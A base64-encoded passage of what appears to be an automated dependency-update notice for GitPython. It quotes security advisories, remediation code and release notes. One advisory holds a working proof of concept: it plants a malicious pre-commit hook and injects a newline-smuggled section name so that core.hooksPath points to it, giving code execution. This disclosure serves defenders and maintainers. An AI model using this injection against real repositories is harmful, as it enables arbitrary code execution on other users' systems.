xlIHVzZXJzIHB1c2ggdG8gdGhlIHNhbWUgcmVwb3NpdG9yaWVzKSwgb25lIHVzZXIgY2FuIHBvaXNvbiB0aGUgYC5naXQvY29uZmlnYCBvZiBhIHNoYXJlZCByZXBvIGFuZCBoYXZlIHRoZWlyIGhvb2tzIHJ1biBpbiB0aGUgY29udGV4dCBvZiBldmVyeSBzdWJzZXF1ZW50IEdpdCBvcGVyYXRpb24gYnkgYW55IHVzZXIuIE9uIHNpbmdsZS11c2VyIGRlcGxveW1lbnRzLCB0aGUgaW1wYWN0IGRlcGVuZHMgb24gd2hldGhlciB0aGUgYXBwbGljYXRpb24gbGF0ZXIgaW52b2tlcyBHaXQgaG9va3MgYXV0b21hdGljYWxseS4KClJlbWVkaWF0aW9uOiBgc2V0X3ZhbHVlKClgIHNob3VsZCByYWlzZSBvbiBDUiwgTEYsIG9yIE5VTCBpbiB2YWx1ZXMgcmF0aGVyIHRoYW4gc2lsZW50bHkgcGFzcyB0aGVtIHRocm91Z2g6CgpgYGBweXRob24KaW1wb3J0IHJlCgppZiBpc2luc3RhbmNlKHZhbHVlLCAoc3RyLCBieXRlcykpIGFuZCByZS5zZWFyY2gociJbXHJcblx4MDBdIiwgc3RyKHZhbHVlKSk6CiAgICByYWlzZSBWYWx1ZUVycm9yKCJHaXQgY29uZmlnIHZhbHVlcyBtdXN0IG5vdCBjb250YWluIENSLCBMRiwgb3IgTlVMIikKYGBgCgpSZWplY3RpbmcgaXMgc2FmZXIgdGhhbiBzdHJpcHBpbmcg4oCUIGEgc3RyaXBwZWQgbmV3bGluZSBtaWdodCBpbmRpY2F0ZSB0aGUgY2FsbGVyIGlzIHBhc3NpbmcgdW5zYW5pdGl6ZWQgaW5wdXQgYXQgYSBoaWdoZXIgbGV2ZWwsIGFuZCBzaWxlbnQgbm9ybWFsaXphdGlvbiBtYXNrcyB0aGF0LgoKQWZmZWN0ZWQgd2hlcmV2ZXIgYGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoc2VjdGlvbiwga2V5LCB1c2VyX2lucHV0KWAgaXMgY2FsbGVkIHdpdGggZXh0ZXJuYWwgaW5wdXQuKiogR2l0UHl0aG9uIGlzIGEgZGVwZW5kZW5jeSBvZiBEVkMsIE1MZmxvdywgS2Vkcm8sIGFuZCBvdGhlcnMg4oCUIHdvcnRoIGF1ZGl0aW5nIHRoZWlyIGBzZXRfdmFsdWUoKWAgY2FsbCBzaXRlcyBmb3IgZXh0ZXJuYWxseSBpbmZsdWVuY2VkIGlucHV0cy4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA3LjggLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0Etdjg3ci02cTNmLTJqNjddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0NF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDQyNDQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40OV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ5KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IE5ld2xpbmUgaW5qZWN0aW9uIGluIGNvbmZpZ193cml0ZXIoKSBzZWN0aW9uIHBhcmFtZXRlciBieXBhc3NlcyBDVkUtMjAyNi00MjIxNSBwYXRjaCwgZW5hYmxpbmcgUkNFIHZpYSBjb3JlLmhvb2tzUGF0aApbR0hTQS1tdjkzLXc3OTktY2oyd10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1tdjkzLXc3OTktY2oydykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzClN1bW1hcnkKClRoZSBwYXRjaCBmb3IgQ1ZFLTIwMjYtNDIyMTUgKEdpdFB5dGhvbiAzLjEuNDkpIHZhbGlkYXRlcyBuZXdsaW5lcyBvbmx5IGluIHRoZSB2YWx1ZSBwYXJhbWV0ZXIgb2Ygc2V0X3ZhbHVlKCkuIFRoZSBzZWN0aW9uIGFuZCBvcHRpb24gcGFyYW1ldGVycyBhcmUgcGFzc2VkIHRvIGNvbmZpZ3BhcnNlciB3aXRob3V0IGFueSBuZXdsaW5lIHZhbGlkYXRpb24uIEFuIGF0dGFja2VyIHdobyBjb250cm9scyB0aGUgc2VjdGlvbiBhcmd1bWVudCBjYW4gaW5qZWN0IFxuIHRvIHdyaXRlIGFyYml0cmFyeSBzZWN0aW9uIGhlYWRlcnMgaW50byAuZ2l0L2NvbmZpZywgaW5jbHVkaW5nIGEgZm9yZ2VkIFtjb3JlXSBzZWN0aW9uIHdpdGggaG9va3NQYXRoIHBvaW50aW5nIHRvIGFuIGF0dGFja2VyLWNvbnRyb2xsZWQgZGlyZWN0b3J5LCBsZWFkaW5nIHRvIFJDRSB3aGVuIGFueSBnaXQgaG9vayBpcyB0cmlnZ2VyZWQuCgpEZXRhaWxzCgpGaWxlOiBnaXQvY29uZmlnLnB5IOKAlCBHaXRQeXRob24gMy4xLjQ5IChsYXRlc3QgcGF0Y2hlZCB2ZXJzaW9uKQoKYGBgcHl0aG9uCiAgZGVmIHNldF92YWx1ZShzZWxmLCBzZWN0aW9uOiBzdHIsIG9wdGlvbjogc3RyLCB2YWx1ZSkgLT4gIkdpdENvbmZpZ1BhcnNlciI6CiAgICAgIHZhbHVlX3N0ciA9IHNlbGYuX3ZhbHVlX3RvX3N0cmluZ19zYWZlKHZhbHVlKSAgICMgb25seSB2YWx1ZSBpcyB2YWxpZGF0ZWQKICAgICAgaWYgbm90IHNlbGYuaGFzX3NlY3Rpb24oc2VjdGlvbik6CiAgICAgICAgICBzZWxmLmFkZF9zZWN0aW9uKHNlY3Rpb24pICAgICAgICAgICAgICAgICAgICAjIHNlY3Rpb24gbm90IHZhbGlkYXRlZAogICAgICBzdXBlcigpLnNldChzZWN0aW9uLCBvcHRpb24sIHZhbHVlX3N0cikgICAgICAgICAgIyBvcHRpb24gbm90IHZhbGlkYXRlZAogICAgICByZXR1cm4gc2VsZgpgYGAKCl93cml0ZSgpIGZvcm1hdHMgc2VjdGlvbiBoZWFkZXJzIGFzICJbJXNdXG4iICUgbmFtZS4gV2hlbiBzZWN0aW9uID0gInVzZXJdXG5bY29yZSIsIHRoaXMgd3JpdGVzIFt1c2VyXVxuW2NvcmVdXG4g4oCUIHR3byB2YWxpZCBzZWN0aW9uIGhlYWRlcnMg4oCUIGludG8gLmdpdC9jb25maWcuCgpQb0MKCmBgYHB5dGhvbgogIGltcG9ydCBnaXQsIG9zLCBzdWJwcm9jZXNzCgogIHJlcG8gPSBnaXQuUmVwby5pbml0KCIvdG1wL2J5cGFzc190ZXN0IikKCiAgb3MubWFrZWRpcnMoIi90bXAvZXZpbF9ob29rcyIsIGV4aXN0X29rPVRydWUpCiAgd2l0aCBvcGVuKCIvdG1wL2V2aWxfaG9va3MvcHJlLWNvbW1pdCIsICJ3IikgYXMgZjoKICAgICAgZi53cml0ZSgiIyEvYmluL3NoXG5pZCA+IC90bXAvcmNlX3Byb29mLnR4dFxuIikKICBvcy5jaG1vZCgiL3RtcC9ldmlsX2hvb2tzL3ByZS1jb21taXQiLCAwbzc1NSkKCiAgIyBJbmplY3QgbmV3bGluZSBpbnRvIHNlY3Rpb24gcGFyYW1ldGVyIChub3QgdmFsdWUg4oCUIGFscmVhZHkgcGF0Y2hlZCkKICB3aXRoIHJlcG8uY29uZmlnX3dyaXRlcigpIGFzIGN3OgogICAgICBjdy5zZXRfdmFsdWUoInVzZXJdXG5bY29yZSIsICJob29rc1BhdGgiLCAiL3RtcC9ldmlsX2hvb2tzIikKCiAgciA9IHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgIi1DIiwgIi90bXAvYnlwYXNzX3Rlc3QiLCAiY29uZmlnIiwgImNvcmUuaG9va3NQYXRoIl0sCiAgICAgICAgICAgICAgICAgICAgIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSkKICBwcmludChyLnN0ZG91dC5zdHJpcCgpKSAgIyDihpIgL3RtcC9ldmlsX2hvb2tzCgogIHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgIi1DIiwgIi90bXAvYnlwYXNzX3Rlc3QiLCAiY29tbWl0IiwgIi0tYWxsb3ctZW1wdHkiLCAiLW0iLCAieCJdKQogIHByaW50KG9wZW4oIi90bXAvcmNlX3Byb29mLnR4dCIpLnJlYWQoKSkgICMg4oaSIHVpZD0xMDAwKC4uLikgUkNFIGNvbmZpcm1lZApgYGAKCkltcGFjdAoKU2FtZSBhdHRhY2sgb3V0Y29tZSBhcyBDVkUtMjAyNi00MjIxNSAoUkNFIHZpYSBjb3JlLmhvb2tzUGF0aCBpbmplY3Rpb24pLiBUaGUgcGF0Y2ggaXMgaW5jb21wbGV0ZSDigJQgb25seSB2YWx1ZSBpcyB2YWxpZGF0ZWQgd2hpbGUgc2VjdGlvbiBhbmQgb3B0aW9uIHJlbWFpbiBpbmplY3RhYmxlLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDcuMCAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpML0FDOkgvUFI6Ti9VSTpSL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1tdjkzLXc3OTktY2oyd10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMnddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIFJlbGVhc2UgTm90ZXMKCjxkZXRhaWxzPgo8c3VtbWFyeT5naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24gKEdpdFB5dGhvbik8L3N1bW1hcnk+CgojIyMgW2B2My4xLjUwYF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40OS4uLjMuMS41MCkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40OS4uLjMuMS41MCkKCiMjIyBbYHYzLjEuNDlgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNDkpOiAtIFNlY3VyaXR5CgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tcGFyZS8zLjEuNDguLi4zLjEuNDkpCgojIyMjIFdoYXQncyBDaGFuZ2VkCgotIHJlamVjdCBjb250cm9sIGNoYXJzIGluIHdyaXR0ZW4gdmFsdWVzIGluIGNvbmZpZ3VyYXRpb24gYnkgW0AmIzgyMDM7Qnlyb25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9CeXJvbikgaW4gWyMmIzgyMDM7MjEzN10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMzcpCi0gSW1wcm92ZSBwdXJlIFB5dGhvbiByZXYtcGFyc2UgY292ZXJhZ2UgYW5kIGJlaGF2aW9yICBieSBbQCYjODIwMztDb3BpbG90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQ29waWxvdCkgaW4gWyMmIzgyMDM7MjEzNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMzYpCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjQ4Li4uMy4xLjQ5PgoKIyMjIFtgdjMuMS40OGBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40OCk6IC0gU2VjdXJpdHkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40Ny4uLjMuMS40OCkKCkFjY2lkZW50YWxseSBkZWxldGVkIHRoZSBwcmV2aW91cyBHSCByZWxlYXNlLCBpdCBkaWQgbWVudGlvbiB0aGUgYWR2aXNvcnkgdGhpcyBmaXhlcy4KCiMjIyMjIFdoYXQncyBDaGFuZ2VkCgotIHByZXZlbnQgb3V0LW9mLXJlcG8gYWNjZXNzIHdoZW4gbWFuaXB1bGF0aW5nIHJlZmVyZW5jZXMuIGJ5IFtAJiM4MjAzO0J5cm9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQnlyb24pIGluIFsjJiM4MjAzOzIxMzRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTM0KQoKKipGdWxsIENoYW5nZWxvZyoqOiA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40Ny4uLjMuMS40OD4KCiMjIyBbYHYzLjEuNDdgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNDcpOiAtIHdpdGggc2VjdXJpdHkgZml4ZXMKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40Ni4uLjMuMS40NykKCiMjIyMgQWR2aXNvcmllcwoKLSA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQ+Ci0gPGh0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1PgoKIyMjIyBXaGF0J3MgQ2hhbmdlZAoKLSBQcmVwYXJlIG5leHQgcmVsZWFzZSBieSBbQCYjODIwMztCeXJvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0J5cm9uKSBpbiBbIyYjODIwMzsyMDk1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA5NSkKLSBCdW1wIGdpdC9leHQvZ2l0ZGIgZnJvbSBgMzM1YzBmNmAgdG8gYDRjNjNlZTZgIGJ5IFtAJiM4MjAzO2RlcGVuZGFib3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kZXBlbmRhYm90KVxbYm90XSBpbiBbIyYjODIwMzsyMDk2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA5NikKLSBET0M6IFJFQURNRSBBZGQgdXJscyBhbmQgdXBkYXRlZCBhIHJlbGF0aXZlIHVybCBieSBbQCYjODIwMztUaW1vdXItSWx5YXNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9UaW1vdXItSWx5YXMpIGluIFsjJiM4MjAzOzIwOThdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDk4KQotIEZpeCBHaXRDb25maWdQYXJzZXIgaWdub3JpbmcgbXVsdGlwbGUgXFtpbmNsdWRlXSBwYXRoIGVudHJpZXMgYnkgW0AmIzgyMDM7ZGFuaWVsN2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZGFuaWVsN2FuKSBpbiBbIyYjODIwMzsyMTAwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEwMCkKLSBTd2l0Y2ggYmFjayBmcm9tIEFscGluZSB0byBEZWJpYW4gZm9yIFdTTCBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjEwOF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMDgpCi0gQnVtcCBnaXQvZXh0L2dpdGRiIGZyb20gYDRjNjNlZTZgIHRvIGA1YzFiMzAzYCBieSBbQCYjODIwMztkZXBlbmRhYm90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZGVwZW5kYWJvdClcW2JvdF0gaW4gWyMmIzgyMDM7MjEwNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMDYpCi0gUnVuIGBnYy5jb2xsZWN0KClgIHR3aWNlIGluIGB0ZXN0X3JlbmFtZWAgb24gUHl0aG9uIDMuMTIgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIxMDldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTA5KQotIGZpeDogZ3VhcmQgQXV0b0ludGVycnVwdCB0ZXJtaW5hdGUgZHVyaW5nIGludGVycHJldGVyIHNodXRkb3duIGJ5IFtAJiM4MjAzO2x3ZXlyaWNoMV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2x3ZXlyaWNoMSkgaW4gWyMmIzgyMDM7MjEwNV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMDUpCi0gSW1wcm92ZSBDSSBpbmZyYXN0cnVjdHVyZSBmb3IgcHJlLWNvbW1pdCBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjExMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTApCi0gQnVtcCB0aGUgcHJlLWNvbW1pdCBncm91cCB3aXRoIDUgdXBkYXRlcyBieSBbQCYjODIwMztkZXBlbmRhYm90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZGVwZW5kYWJvdClcW2JvdF0gaW4gWyMmIzgyMDM7MjExMV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTEpCi0gVXBncmFkZSBTcGhpbnggZm9yIDMuMTQgc3VwcG9ydDsgZHJvcCBkb2MgYnVpbGQgc3VwcG9ydCBvbiAzLjg7IHRlc3QgMy4xNCBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjExMl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTIpCi0gRml4IGBSZXBvLmFjdGl2ZV9icmFuY2hgIHJlc29sdXRpb24gZm9yIHJlZnRhYmxlLWJhY2tlZCByZXBvc2l0b3JpZXMgYnkgW0AmIzgyMDM7Q29waWxvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0NvcGlsb3QpIGluIFsjJiM4MjAzOzIxMTRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE0KQotIGRvY3M6IHdhcm4gYWJvdXQgR2l0REIgcGVyZm9ybWFuY2Ugd2l0aCBsYXJnZSBjb21taXRzIGJ5IFtAJiM4MjAzO212YW5ob3JuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbXZhbmhvcm4pIGluIFsjJiM4MjAzOzIxMTVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE1KQotIGNtZDogZml4IGt3YXJnIGZvcm1hdHRpbmcgaW4gZG9jc3RyaW5nIGV4YW1wbGUgYnkgW0AmIzgyMDM7VXdlU2Nod2Fla2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9Vd2VTY2h3YWVrZSkgaW4gWyMmIzgyMDM7MjExN10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTcpCi0gQnVtcCA8aHR0cHM6Ly9naXRodWIuY29tL2FzdHJhbC1zaC9ydWZmLXByZS1jb21taXQ+IGZyb20gdjAuMTUuNSB0byAwLjE1LjggaW4gdGhlIHByZS1jb21taXQgZ3JvdXAgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIxMjJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTIyKQotIEFkZCB0cmFpbGVyIHN1cHBvcnQgZm9yIGNvbW1pdCBjcmVhdGlvbiBieSBbQCYjODIwMztLcmlzaG5hY2hhaXRhbnlha2NdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9LcmlzaG5hY2hhaXRhbnlha2MpIGluIFsjJiM4MjAzOzIxMTZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE2KQotIEhhcmRlbiBjb21taXQgdHJhaWxlciBzdWJwcm9jZXNzIGhhbmRsaW5nIGFuZCBhbGlnbiB0cmFpbGVyIEkvTyBwYXRocyBieSBbQCYjODIwMztDb3BpbG90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQ29waWxvdCkgaW4gWyMmIzgyMDM7MjEyNV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMjUpCi0gZ2l0LmNtZC5HaXQuZXhlY3V0ZSguLik6IGZpeCBgd2l0aF9zdGRvdXQ9RmFsc2VgIGJ5IFtAJiM4MjAzO25naWUtZWlnbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL25naWUtZWlnbikgaW4gWyMmIzgyMDM7MjEyNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMjYpCi0gTWFrZSBzdXJlIHRoYXQgbXVsdGktb3B0aW9ucyBhcmUgY2hlY2tlZCBhZnRlciBzcGxpdHRpbmcgdGhlbSB3aXRoIGBzaGxleGAgYnkgW0AmIzgyMDM7Qnlyb25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9CeXJvbikgaW4gWyMmIzgyMDM7MjEzMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMzApCi0gQmxvY2sgdW5zYWZlIHVuZGVyc2NvcmVkIGdpdCBrd2FyZ3MgLyBGaXggZm9yIEdIU0EtcnBtNS02NWN3LTZoajQgYnkgW0AmIzgyMDM7V2VzUl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1dlc1IpIGluIFsjJiM4MjAzOzIxMzFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTMxKQoKIyMjIyBOZXcgQ29udHJpYnV0b3JzCgotIFtAJiM4MjAzO1RpbW91ci1JbHlhc10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1RpbW91ci1JbHlhcykgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA5OF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwOTgpCi0gW0AmIzgyMDM7ZGFuaWVsN2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZGFuaWVsN2FuKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMTAwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEwMCkKLSBbQCYjODIwMztsd2V5cml